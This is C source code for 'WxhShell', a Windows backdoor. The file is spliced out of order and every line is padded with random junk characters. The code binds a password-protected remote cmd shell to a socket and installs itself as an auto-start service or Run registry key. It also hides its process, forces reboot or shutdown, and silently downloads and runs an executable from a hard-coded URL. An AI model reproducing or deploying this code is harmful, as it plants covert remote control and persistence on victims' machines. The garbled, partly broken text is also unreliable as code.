  case 'd': { 3kavzB[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ez+8B|0P  
    if(Boot(SHUTDOWN)) NydF'N_1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); no,b_0@N  
    else { {Rz(0oD\  
    closesocket(wsh); X?$"dqA  
    ExitThread(0); 7S{yKS  
    } -`CE;  
    break; pG^>y0  
    } +F92_a4  
  // 获取shell =eQ'^3a  
  case 's': { w\1K.j=>|N  
    CmdShell(wsh); @Yw>s9X  
    closesocket(wsh); WCP2x.gb5  
    ExitThread(0); HP,{/ $i:  
    break; zwJ\F '  
  } P>hR${KE  
  // 退出 !>?*gc.<  
  case 'x': { 4vi [hiV   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y[';@t7CC  
    CloseIt(wsh); &3|l4R\  
    break; ,0@QBr5P  
    } 1oI2  
  // 离开 ?h:xO\h8  
  case 'q': { 6lm<>#_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v+~O\v5Q  
    closesocket(wsh); !l$k6,WJi  
    WSACleanup(); fwi -   
    exit(1); zym6b@+jN  
    break; pB0 SCS*  
        } ~?Zm3zOCc2  
  } #s{EIj~YR_  
  } |`pDOd  
>J_(~{-sNG  
  // 提示信息 1cS*T>`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); };g<|v*o  
} G%>{Z?!B  
  } t;}`~B  
)T@?.J`  
  return; j/F:j5O*  
} $U"pdf  
W)AfXy  
// shell模块句柄 Jo\karpb  
int CmdShell(SOCKET sock) K.Y.K$NjP{  
{ w&*oWI$i  
STARTUPINFO si; k54b@U52 h  
ZeroMemory(&si,sizeof(si)); 'u9y\vUy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =vsvx{o?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XrJLlH>R4  
PROCESS_INFORMATION ProcessInfo; ) 3ZkKv;zY  
char cmdline[]="cmd"; a28`)17z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ap> H-/C  
  return 0; l6N"{iXU  
} SP;1XXlL  
aWY#gI{  
// 自身启动模式 k{ulu  
int StartFromService(void) PnH5[4&k  
{ L-Mf{z  
typedef struct h>A~yDT[  
{ !O4)Y M  
  DWORD ExitStatus; |=[. _VH1  
  DWORD PebBaseAddress; 1]&{6y  
  DWORD AffinityMask; esd9N'.Q*  
  DWORD BasePriority; tlgg~MViS  
  ULONG UniqueProcessId; 4$+/7I \  
  ULONG InheritedFromUniqueProcessId; or(P?Ro  
}   PROCESS_BASIC_INFORMATION; WH<\f |xR  
F1/BtGvQE  
PROCNTQSIP NtQueryInformationProcess; QwLSL<.  
'M fVZho{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HE-ErEtGB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >gDKkeLD  
+A1xqOB  
  HANDLE             hProcess; n`D-?]*  
  PROCESS_BASIC_INFORMATION pbi; >vDi,qmZ  
lr=quWDY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [f?x ,W~  
  if(NULL == hInst ) return 0; |N|[E5Cn  
UPkc-^BN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s qO$ka{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :M.]-+(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); / }(\P@Z  
q*}$1 zb  
  if (!NtQueryInformationProcess) return 0; B-wF1! Jv  
|5*:ThC[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #66u<FaG  
  if(!hProcess) return 0; *LQt=~  
EV_u8?va  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )Mh5q&ow  
{"_V,HmEF+  
  CloseHandle(hProcess); ]:Pkh./  
1n#{c5T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )H{OqZZYD  
if(hProcess==NULL) return 0; ;pG5zRe  
<<&SyP  
HMODULE hMod; cUwR6I9  
char procName[255]; {<Xl57w-Q  
unsigned long cbNeeded; ZFtN~Tg  
h_B  nQZ\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q7_#k66gb7  
twp~#s:\z  
  CloseHandle(hProcess); BLb'7`t  
v"dl6%D"  
if(strstr(procName,"services")) return 1; // 以服务启动 5Z[HlN|-!  
8|Wl|@1(  
  return 0; // 注册表启动 MX7$f (Hy  
} I9YMxf>nI  
;JX2ebx  
// 主模块 z=TuUl@  
int StartWxhshell(LPSTR lpCmdLine) v&xhS yZ  
{ zI_pP?4;.q  
  SOCKET wsl; SA~oGgk=P  
BOOL val=TRUE; L/,M@1@R  
  int port=0; nz Klue  
  struct sockaddr_in door; j^D/ ,SW  
7 ;x to =  
  if(wscfg.ws_autoins) Install(); vZIx>  
:~~\{fm  
port=atoi(lpCmdLine); =9A!5  
4qyPjAG  
if(port<=0) port=wscfg.ws_port; GX N:=  
B";Dj~y  
  WSADATA data; 7/bF0 4~%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @Dd3mWKq  
on f7V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z[0t%]7l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;RW5XnVx  
  door.sin_family = AF_INET; dDqT#N?Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z*WQ=l2  
  door.sin_port = htons(port); XpdjWLO]C<  
$~T|v7Y%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2l+t-  
closesocket(wsl); sfC/Q"Zs  
return 1; kj`h{Wc[)  
} T>m|C}yy  
`W u.wx  
  if(listen(wsl,2) == INVALID_SOCKET) { -\g@s@5  
closesocket(wsl); {QIdeB[  
return 1; LP} j0)n  
} OJs s  
  Wxhshell(wsl); /%P,y+<}iG  
  WSACleanup(); 2~@Cj@P]  
!-8y;,P  
return 0; Bacmrf  
*4g:V;L  
} $wqi^q*)  
U.J/ "}5`T  
// 以NT服务方式启动 ?DC;Hk<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) { ?]&P  
{ q`@8  
DWORD   status = 0; % &i Wc_"  
  DWORD   specificError = 0xfffffff; 0V'XE1h  
!3Q^oR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5I0j>{U&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <#e!kWGR?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0y=lf+xA*  
  serviceStatus.dwWin32ExitCode     = 0; rv %^2h<&  
  serviceStatus.dwServiceSpecificExitCode = 0; f6%7:B d  
  serviceStatus.dwCheckPoint       = 0; {Pe+d3Eoo  
  serviceStatus.dwWaitHint       = 0; <s5s<q2  
- s0QEQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zG~nRt{4  
  if (hServiceStatusHandle==0) return; $!:xjb  
k#<Y2FJa  
status = GetLastError(); CK1gzIg>  
  if (status!=NO_ERROR) n#)kvr  
{ jn>RE   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0zXF{5Up  
    serviceStatus.dwCheckPoint       = 0; ljjnqQ%  
    serviceStatus.dwWaitHint       = 0; >>0c)uC|W  
    serviceStatus.dwWin32ExitCode     = status; ,kE"M1W  
    serviceStatus.dwServiceSpecificExitCode = specificError; TuzH'F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VRz9;=m  
    return; +JY]J89  
  } ]PZ\N~T  
r#WAS2.TP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CI@qT}Y_  
  serviceStatus.dwCheckPoint       = 0; GD }i=TK  
  serviceStatus.dwWaitHint       = 0; 3 ~\S]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `6y\.6j  
} (?~*.g!  
[2nPr^  
// 处理NT服务事件,比如:启动、停止 (J`EC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Eo_; N c  
{ 6q~*\KRk  
switch(fdwControl) CL"q "  
{ (W_U<~`t  
case SERVICE_CONTROL_STOP: &(rR)cG  
  serviceStatus.dwWin32ExitCode = 0; Z_[jah  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BY??X=  
  serviceStatus.dwCheckPoint   = 0; iPt{v5}]  
  serviceStatus.dwWaitHint     = 0; 1fU~&?&-u  
  { 3H@29TrJ+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TS;?>J-  
  } 3Uni{Z]Q)  
  return; =s1Pf__<k  
case SERVICE_CONTROL_PAUSE: X1Y+ao1)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $Z4IPs  
  break; W&Kjh|[1QZ  
case SERVICE_CONTROL_CONTINUE: d]QCk &XU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w"BMJ+  
  break; @3I/57u<  
case SERVICE_CONTROL_INTERROGATE: \k*h& :$  
  break; lcEin*Oc  
}; IT\ x0b cv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O_y?53X  
} w1 tg7^(@  
Q)}z$h55  
// 标准应用程序主函数 &p:GB_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N!^5<2z@eT  
{ ]LZ,>v  
I xE }v%&  
// 获取操作系统版本 ~QE-$;  
OsIsNt=GetOsVer(); :*s+X$x,<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kK$*,]iCp  
_ hs\"W  
  // 从命令行安装 ^_pJEX  
  if(strpbrk(lpCmdLine,"iI")) Install(); E>O1dPZcM  
A0 1 D-)  
  // 下载执行文件 wv_<be[?*  
if(wscfg.ws_downexe) { :]^FTnO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [49Ae2W`  
  WinExec(wscfg.ws_filenam,SW_HIDE); z7um9g  
} TGu]6NzyZ  
#gY|T|  
if(!OsIsNt) { 7.tEi}O&_g  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;B@-RfP  
HideProc(); :pPn)j$  
StartWxhshell(lpCmdLine); Hnc<)_DF  
} ,7|Wf %X  
else SjB#"A5  
  if(StartFromService()) y]TNjLpo$  
  // 以服务方式启动 F otHITw[  
  StartServiceCtrlDispatcher(DispatchTable); 7T}r]C.  
else UV8K$n<  
  // 普通方式启动 mY !LGN  
  StartWxhshell(lpCmdLine); {Qr0pjE7R  
qb1[-H  
return 0; Qv>rww]  
} Seb J}P1x  
uw`fC%-xh  
5D%gDw+"  
k=):>}  
=========================================== !_SIq`5]@  
auT'ATW7i  
*QT|J6ng  
Du."O]syD  
A/#Xr  
+1 j+%&).  
" N"wp2w  
8Q Nd t  
#include <stdio.h> ;_hL  
#include <string.h> O F CA~sR  
#include <windows.h> v5N2$Sqp*  
#include <winsock2.h> jwd{CN%  
#include <winsvc.h> &\/b(|>  
#include <urlmon.h> 8x9$6HO  
{IpIQ-@l  
#pragma comment (lib, "Ws2_32.lib") s.7s:Q`  
#pragma comment (lib, "urlmon.lib") lYMNx|PF  
}./_fFN@  
#define MAX_USER   100 // 最大客户端连接数 C #A\Rfi  
#define BUF_SOCK   200 // sock buffer 5zBayJh#  
#define KEY_BUFF   255 // 输入 buffer d$(>=gzBQ  
 {!9i8T  
#define REBOOT     0   // 重启 +)gXU Vwd  
#define SHUTDOWN   1   // 关机 9M$N>[og  
f8'$Mn,  
#define DEF_PORT   5000 // 监听端口 O#5ll2?  
, JUP   
#define REG_LEN     16   // 注册表键长度 p&#*  
#define SVC_LEN     80   // NT服务名长度 (ATCP#lF  
8 K/o/  
// 从dll定义API q4rDAQyPO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :&oUI&(o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )QvuoaJQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G]- wN7G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MlM2(/ok  
f; "6I  
// wxhshell配置信息 :9Vd=M6,  
struct WSCFG { +e6c4Tw/  
  int ws_port;         // 监听端口 2!4.L&Ki  
  char ws_passstr[REG_LEN]; // 口令 '#b7Z?83C  
  int ws_autoins;       // 安装标记, 1=yes 0=no >`@yh-'r  
  char ws_regname[REG_LEN]; // 注册表键名 njy^<7 ;  
  char ws_svcname[REG_LEN]; // 服务名 M"t=0[0DM:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yU@~UCmja  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^QKL}xiV:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &MlBp I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <.h\%&'U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i;Y@>-[e<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j_r7oARL  
7q] @Jx9  
}; k9^Vw+$m  
X}5aE4K/  
// default Wxhshell configuration d$G<g78D  
struct WSCFG wscfg={DEF_PORT, @}e'(ju%R  
    "xuhuanlingzhe", DB>Y#2j4h  
    1, {&Bpf K;`)  
    "Wxhshell", ;\ $P;-VY  
    "Wxhshell", /@.c 59r  
            "WxhShell Service", Q:x:k+O-  
    "Wrsky Windows CmdShell Service", ~BVK6  
    "Please Input Your Password: ", vsM] <t  
  1, !j3V'XU#Zn  
  "http://www.wrsky.com/wxhshell.exe", yT>t[t60/S  
  "Wxhshell.exe" Q l$t  
    }; r12{XW?~  
Pj!{j)-tS  
// 消息定义模块 /~LXY< -(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^!*?vHx:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ClHaR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H<SL=mb;  
char *msg_ws_ext="\n\rExit."; elgCPX&:W  
char *msg_ws_end="\n\rQuit."; Y,bw:vX  
char *msg_ws_boot="\n\rReboot..."; 9 o7d3ir)  
char *msg_ws_poff="\n\rShutdown..."; x\Y%/C[Kc  
char *msg_ws_down="\n\rSave to "; 3PonF4  
$J |oVVct  
char *msg_ws_err="\n\rErr!"; D k'EKT-  
char *msg_ws_ok="\n\rOK!"; xmDX1sL**  
%acy%Sy  
char ExeFile[MAX_PATH]; B=;pyhc  
int nUser = 0; =oF6|\]{ ;  
HANDLE handles[MAX_USER]; ZHs hg`I`  
int OsIsNt; !_`T8pJ`  
toipEp<ci  
SERVICE_STATUS       serviceStatus; !j(KbAhWZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MGO.dRy_  
p 0.?R  
// 函数声明 n(Up?_  
int Install(void); $l&&y?()  
int Uninstall(void); tH:K6^oR  
int DownloadFile(char *sURL, SOCKET wsh); }eX_p6bBw  
int Boot(int flag); X*~NE\  
void HideProc(void); @Y>3-,o,S  
int GetOsVer(void); 16\U'<  
int Wxhshell(SOCKET wsl); vII8>x%*  
void TalkWithClient(void *cs); RZfC ?  
int CmdShell(SOCKET sock); 1>*]jj}  
int StartFromService(void); >5Zp x8W  
int StartWxhshell(LPSTR lpCmdLine); ^gFjm~2I  
7F-b/AdVq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &F}1\6{fL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ru`;cXa,  
k~Pm.@,3o  
// 数据结构和表定义 !v2,lH  
SERVICE_TABLE_ENTRY DispatchTable[] = 7atYWz~yG  
{ JMOP/]%D  
{wscfg.ws_svcname, NTServiceMain}, yT&bS\  
{NULL, NULL} .Qh8I+Q%  
}; dITnPb)i  
G 7)D+],{Y  
// 自我安装 v%< _Mh  
int Install(void) fC3IxlG  
{ s/[i>`g/9  
  char svExeFile[MAX_PATH]; ud:?~?j&w  
  HKEY key; U30)r+&  
  strcpy(svExeFile,ExeFile); ^TWN_(-@  
~rCnST  
// 如果是win9x系统,修改注册表设为自启动 4Sg!NPuu7&  
if(!OsIsNt) { cM4?G gn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \|>eG u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /^[)JbgB  
  RegCloseKey(key); 7IJb$af:;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3r em"M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 29ft!R>[  
  RegCloseKey(key); YY!(/<VI  
  return 0; \ b9,>  
    } na']{a 1K  
  } ;(0:6P8I  
} `A <yDy  
else { Ux icqkX  
24N,Bo 3  
// 如果是NT以上系统,安装为系统服务 Dlj=$25  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N/?Ms rZw  
if (schSCManager!=0) HHnabSn}{q  
{ MF\n@lX  
  SC_HANDLE schService = CreateService jX&&@zMq  
  ( \wRr6-!_  
  schSCManager, \>=YxB q  
  wscfg.ws_svcname, UuT[UB=x5  
  wscfg.ws_svcdisp, )N=b<%WD   
  SERVICE_ALL_ACCESS, /1li^</|p`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G0s:Dum  
  SERVICE_AUTO_START, A}y1v;FB  
  SERVICE_ERROR_NORMAL, c0G/irK  
  svExeFile, deTbvl  
  NULL, RO.(k!J .  
  NULL, vWkKNB  
  NULL, "(efd~.]  
  NULL, x#8=drh.:C  
  NULL ,t+ATaOF  
  ); r3j8[&B"  
  if (schService!=0) Zc4hjg  
  { "}HQ)54&  
  CloseServiceHandle(schService); $g$`fR)  
  CloseServiceHandle(schSCManager); 3+|6])Hi1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uBE,z>/,;  
  strcat(svExeFile,wscfg.ws_svcname); <Ab:yD`K!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (Z"Xp{u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~$\j$/A8/  
  RegCloseKey(key); 1UM]$$:i  
  return 0; O[L8(+Sn  
    } '6 'XBL?  
  } {hg$?4IyQ  
  CloseServiceHandle(schSCManager); c&Zm>Qo[  
} g?$9~/h :;  
} }"&(sYQ*`  
Ro1' L1:  
return 1;  ^,KR0  
} Fo G<$9  
5nj~RUK  
// 自我卸载 b<( W}$x  
int Uninstall(void) {H+?DMh  
{ BkZ%0rw%  
  HKEY key; KncoIw  
'j)eqoj  
if(!OsIsNt) { D1Sl+NOV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'j3'n0o  
  RegDeleteValue(key,wscfg.ws_regname); P~qVr#eU  
  RegCloseKey(key); &"kx (B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 j.Sb2  
  RegDeleteValue(key,wscfg.ws_regname); JZXc1R| 9  
  RegCloseKey(key); Ksp;bfe  
  return 0; " }ZD)7K  
  } !>:tF,fcB  
} =5|5j!i=q  
} j>b OnCp~  
else { r#Fu<so,  
qJ/C*Wqic  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8Cqs@<r4Od  
if (schSCManager!=0) 2>!ykUw^O  
{ m5p~>]}fYF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "/'= gE  
  if (schService!=0) L,D>E  
  { /r%+hS  
  if(DeleteService(schService)!=0) { $F-XXBp  
  CloseServiceHandle(schService); PW`Tuj  
  CloseServiceHandle(schSCManager); jFXU xf  
  return 0; Na6z,TW  
  } YiCDV(prT  
  CloseServiceHandle(schService); $ B9=v  
  } =@w:   
  CloseServiceHandle(schSCManager); G'py)C5;  
} JJ~?ON.H  
} _)l %-*Z7p  
0hkuBQb\  
return 1; EC~t 'v  
} 19.cf3Dh  
$;CC lzw  
// 从指定url下载文件 kUUq9me&o  
int DownloadFile(char *sURL, SOCKET wsh) #~x5}8  
{  * [5  
  HRESULT hr; tAA7  
char seps[]= "/";  5q ,  
char *token; cMl%)j-  
char *file; ??m7xH5u1  
char myURL[MAX_PATH]; ifs*-f  
char myFILE[MAX_PATH]; =eqI]rVj^  
g,:N zb  
strcpy(myURL,sURL); CP#79=1  
  token=strtok(myURL,seps); eC$v0Gtq  
  while(token!=NULL) F&*M$@u5  
  { S0+zq<  
    file=token; upDQNG>d  
  token=strtok(NULL,seps); u,m-6@ il  
  } 1955(:I  
JLu0;XVK  
GetCurrentDirectory(MAX_PATH,myFILE); Ln_l>X6j51  
strcat(myFILE, "\\"); j1 F+,   
strcat(myFILE, file); %-l:_A  
  send(wsh,myFILE,strlen(myFILE),0); PBL^xlg  
send(wsh,"...",3,0); +_eb*Z`5o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FZnH G;af  
  if(hr==S_OK) .NT&>X~.V  
return 0; zcKC5vqb  
else ?X'* p<`  
return 1; !7)ID7d  
#'x?) AS  
} WQpJd7  
:6?&FzD`  
// 系统电源模块 3- bcY4  
int Boot(int flag)  W6O.E  
{ ikhX5 &e  
  HANDLE hToken; <~M9 nz(<  
  TOKEN_PRIVILEGES tkp; -YV4  O  
X=pt}j,QrP  
  if(OsIsNt) { #0u69  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yd;r8rN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q=Yerp3~  
    tkp.PrivilegeCount = 1; AfN   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f^4*.~cB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d5y2Y/QO  
if(flag==REBOOT) { C[nr>   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ? SP7vQ/  
  return 0; 9Nu#&_2R  
} |V\.[F2Fe  
else { *'YNRM\}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1ckw[0d  
  return 0; ;CMC`h9,  
} 23$hwr&G\  
  } |u"R(7N*  
  else {  #>jH[Q  
if(flag==REBOOT) { 8MeXVhM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gVU\^KN]  
  return 0; E$tk1SVo  
} 3Z:!o$  
else { 3c^=<i %  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j{R|]SjW2H  
  return 0; |/^aL j^u  
} 1vs>2` DLa  
} W lQ=CRY  
Kw0V4UF  
return 1; 0~b6wuFl  
} !7`=rT&  
j' KobyX<  
// win9x进程隐藏模块 hS{ *l9v7  
void HideProc(void) eBTedSM?t  
{ 7(8  
%C6zXiO"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '&:x_WwVrO  
  if ( hKernel != NULL ) 8+a<#? ;  
  { {2k< k(,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'eDgeWt/CQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (l8r>V  
    FreeLibrary(hKernel); &IEBZB\/+&  
  } T{4fa^c2J  
1+tt'  
return; R}X_2""  
} jjwMvf.R  
]a!; `m$  
// 获取操作系统版本 T:%wX9W  
int GetOsVer(void) PnIvk]"Ab  
{ #D/ }u./  
  OSVERSIONINFO winfo; uU(G_E ?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9=~H6(m>  
  GetVersionEx(&winfo); hf^`at  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FR,#s^kF  
  return 1; \1`DaQp7  
  else W/r?0E  
  return 0; |z|)r"*\4  
} \v3> Eo[  
|@L &yg,x  
// 客户端句柄模块 *_/eAi/WG  
int Wxhshell(SOCKET wsl) @EP{VV  
{ .cT$h?+jyl  
  SOCKET wsh; ]7S7CVDk4  
  struct sockaddr_in client; sJI -  
  DWORD myID; BdB`  
Q`p}X&^a  
  while(nUser<MAX_USER) 5@>4)dk\  
{ *o e0=  
  int nSize=sizeof(client); w4fJ`,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oj(A`[  
  if(wsh==INVALID_SOCKET) return 1; D*T$ v   
wdcryejCkr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h/0-Mrk;e  
if(handles[nUser]==0) OZB}aow  
  closesocket(wsh); .A"T086  
else K~y9zF{  
  nUser++; TaQ "G  
  } aEFe!_QY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w HHF=Q  
QV'3O|  
  return 0; v`+n`DT  
} _ 2gT1B  
jU4)zN/`r  
// 关闭 socket G9'YgW+$7  
void CloseIt(SOCKET wsh) +ersP@G  
{ ksOANLRN  
closesocket(wsh); (ln  
nUser--; fv j5[Q  
ExitThread(0); dy6F+V\DG  
} MY?O/,6  
}Cmj(k`~  
// 客户端请求句柄 |+;KhC  
void TalkWithClient(void *cs) 'tV"^KQHI  
{ d JQ }{,+6  
mWN1Q<vn,l  
  SOCKET wsh=(SOCKET)cs; fJn3"D'  
  char pwd[SVC_LEN]; Y6f+__O  
  char cmd[KEY_BUFF]; 7<QYT+6xV  
char chr[1]; HzG~I8o(d  
int i,j; Z\*5:a]  
<^*+8{*  
  while (nUser < MAX_USER) { +6#%P  
Mdltzy=)L  
if(wscfg.ws_passstr) { @q{:Oc^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k{}[>))Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rtYb"-&  
  //ZeroMemory(pwd,KEY_BUFF); ~E3SC@KL  
      i=0; C:s^s  
  while(i<SVC_LEN) { x<{;1F,k3  
&w;^m/zP3  
  // 设置超时 > G4HZE  
  fd_set FdRead; 9&XV}I,~?|  
  struct timeval TimeOut; h$aew63  
  FD_ZERO(&FdRead); c_-" Qo  
  FD_SET(wsh,&FdRead); /]k ,,&  
  TimeOut.tv_sec=8; p-Rm,xyL%  
  TimeOut.tv_usec=0; FU]8.)`G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3lLW'g&=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XUQW;H  
oieQ2>lYh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~.4W,QLuD  
  pwd=chr[0]; Y>78h2AU  
  if(chr[0]==0xd || chr[0]==0xa) { BYr_Lz|T  
  pwd=0; J:g<RZZ1  
  break; Z/NGv  
  } +B`'P9Zk@  
  i++; z,}c?BP  
    } EDq$vB  
tyn?o  
  // 如果是非法用户,关闭 socket EU^}NZW&v:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cwM#X;FGq  
} !!-}ttFA  
iL7-4Lv#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9&O#+FU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;<bj{#mMv  
&AQg'|  
while(1) { C;d|\[7Z  
NRHr6!f>  
  ZeroMemory(cmd,KEY_BUFF); ,u ?wYW;  
>}dTO/  
      // 自动支持客户端 telnet标准   Gs_*/E7,  
  j=0; Lo|NE[b:G  
  while(j<KEY_BUFF) { S{^6iR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0$xK   
  cmd[j]=chr[0]; Xb(CH#*{z  
  if(chr[0]==0xa || chr[0]==0xd) { w&wA >q>&  
  cmd[j]=0; {(m+M  
  break; ibZt2@GB)I  
  } pPiYPfs  
  j++; )Y&MIJ7>@  
    } "t (1tWO1o  
LaIW,+  
  // 下载文件 + AcKB82  
  if(strstr(cmd,"http://")) { ?o(ZTlT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _" ?c9  
  if(DownloadFile(cmd,wsh)) };|!Lhl+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); msA' 5>  
  else ShL1'Z} ^{  
